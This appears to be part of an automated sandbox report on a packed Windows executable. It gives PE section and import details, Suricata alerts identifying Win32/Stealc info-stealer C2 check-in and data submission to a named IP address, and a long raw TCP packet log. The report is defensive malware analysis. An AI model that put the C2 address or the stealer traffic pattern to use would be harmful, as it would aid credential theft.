Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	cb27a58012ed61b1616224402e62e9dc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x29b000	0x200	eddffc54d44e5805c92a7f804324c601	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
utkkpkvx	0x585000	0x19b000	0x19a400	1d6e675e3d3bfd3cf5e54e66fd9e4874	False	0.994963056063376	data	7.954739782030639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dfdypqkq	0x720000	0x1000	0x600	442d3ee92e3c158f6c39038671556231	False	0.5690104166666666	data	5.008542518995121	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x721000	0x3000	0x2200	107ed1a5ab36ae1835b4d7eea83749a9	False	0.06548713235294118	DOS executable (COM)	0.6435294372238471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T17:59:12.277038+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-10-29T17:59:12.585033+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-10-29T17:59:12.603819+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49722	TCP
2024-10-29T17:59:12.883075+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-10-29T17:59:12.890636+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49722	TCP
2024-10-29T17:59:13.981613+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49722	185.215.113.206	80	TCP
2024-10-29T17:59:14.575682+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49722	185.215.113.206	80	TCP
2024-10-29T17:59:44.981527+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:48.533910+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:50.319125+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:51.386982+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:54.623993+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49958	185.215.113.206	80	TCP
2024-10-29T17:59:55.238817+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49958	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 17:59:01.924415112 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:01.924460888 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:01.924534082 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:01.925254107 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:01.925271988 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.053373098 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.053528070 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.057857037 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.057873964 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.058552027 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.103697062 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.155152082 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.155194044 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.155215025 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.155330896 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.199363947 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.406734943 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.407171011 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.407203913 CET	443	49709	40.113.103.199	192.168.2.6
Oct 29, 2024 17:59:03.407227039 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:03.407263994 CET	49709	443	192.168.2.6	40.113.103.199
Oct 29, 2024 17:59:07.201822042 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:07.201863050 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:07.201917887 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:07.202198029 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:07.202208996 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:07.954951048 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:07.955068111 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:07.957933903 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:07.957943916 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:07.958365917 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:07.968122005 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.011338949 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.217355013 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.217391014 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.217410088 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.217452049 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.217469931 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.217487097 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.217516899 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.336463928 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.336493015 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.336647987 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.336647987 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.336673021 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.336714029 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.600512981 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.600537062 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.600563049 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.600584984 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.600626945 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.600637913 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.600680113 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.600984097 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.601007938 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.601037025 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.601042986 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.601066113 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.601094961 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.694420099 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.694444895 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.694623947 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.694623947 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.694638014 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.694679976 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.816884041 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.816912889 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.816976070 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.816998959 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.817166090 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.817166090 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.932447910 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.932523966 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.932558060 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.932583094 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:08.932611942 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:08.932630062 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.022150993 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.022224903 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.022377968 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.022377968 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.022403955 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.022442102 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.097595930 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.097657919 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.097681046 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.097702026 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.097723961 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.097748995 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.216288090 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.216350079 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.216372967 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.216398001 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.216563940 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.216563940 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.334875107 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.334948063 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.335059881 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.335059881 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.335091114 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.335133076 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.409596920 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.409655094 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.409750938 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.409780979 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.409795046 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.409833908 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.454885960 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.454935074 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.455027103 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.455035925 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.455099106 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.528465033 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.528611898 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.528625011 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.528681040 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.528692961 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.528728008 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.611603022 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.611628056 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.611680031 CET	49710	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.611685991 CET	443	49710	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.890764952 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.890815973 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.890887022 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.891988039 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.892047882 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.892117023 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.893260002 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.893301010 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.893357992 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.893454075 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.893476963 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.894201994 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.894213915 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.894274950 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.894342899 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.894357920 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.894418955 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.894432068 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.894989967 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.895000935 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.895045042 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.895204067 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.895240068 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.895320892 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:09.895332098 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:09.931811094 CET	49673	443	192.168.2.6	173.222.162.64
Oct 29, 2024 17:59:09.931817055 CET	49674	443	192.168.2.6	173.222.162.64
Oct 29, 2024 17:59:10.244308949 CET	49672	443	192.168.2.6	173.222.162.64
Oct 29, 2024 17:59:10.630759001 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.631329060 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.631349087 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.631841898 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.631850004 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.643254995 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.643599987 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.643621922 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.644027948 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.644033909 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.645102978 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.645368099 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.645401955 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.645747900 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.645785093 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.649534941 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.649780989 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.649799109 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.650144100 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.650150061 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.669579983 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.669857025 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.669871092 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.670233011 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.670238972 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.759506941 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:10.759547949 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:10.759632111 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:10.760344028 CET	49716	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:10.760361910 CET	443	49716	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:10.784579992 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.784600973 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.784647942 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.784674883 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.784702063 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.785453081 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.785506964 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.785550117 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.786333084 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.786489010 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.786533117 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.786839008 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.786859989 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.786875010 CET	49715	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.786883116 CET	443	49715	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.788146019 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.788151979 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.788170099 CET	49713	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.788173914 CET	443	49713	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.788996935 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.789026022 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.789048910 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.789057016 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.790520906 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.790539980 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.790586948 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.790644884 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.790673971 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.790908098 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.790945053 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.791001081 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.791460037 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.791474104 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.791482925 CET	49712	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.791486979 CET	443	49712	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.792305946 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.792318106 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.793534994 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.793581963 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.793637037 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.807931900 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.807986975 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.808074951 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.808089018 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.808137894 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.808172941 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.808222055 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.808232069 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.808243990 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.808243990 CET	49714	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.808249950 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.808257103 CET	443	49714	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.809458971 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.809482098 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.809511900 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.809529066 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.809586048 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.809969902 CET	49719	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.809993029 CET	443	49719	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.810376883 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.810421944 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.810513020 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.810580969 CET	49720	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.810596943 CET	443	49720	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.811055899 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.811079979 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.811122894 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.811220884 CET	49721	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:10.811232090 CET	443	49721	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:10.889425993 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:11.066183090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:11.066273928 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:11.068489075 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:11.073976040 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:11.544693947 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.545367002 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.545401096 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.545852900 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.545860052 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.678738117 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.678900003 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.678956985 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.679336071 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.679358959 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.679373980 CET	49717	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.679383039 CET	443	49717	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.683573961 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.683609009 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.683665037 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.683900118 CET	49723	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.683912039 CET	443	49723	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.784615993 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.785100937 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.785162926 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.785739899 CET	49718	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:11.785757065 CET	443	49718	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:11.791398048 CET	443	49720	13.107.246.45	192.168.2.6
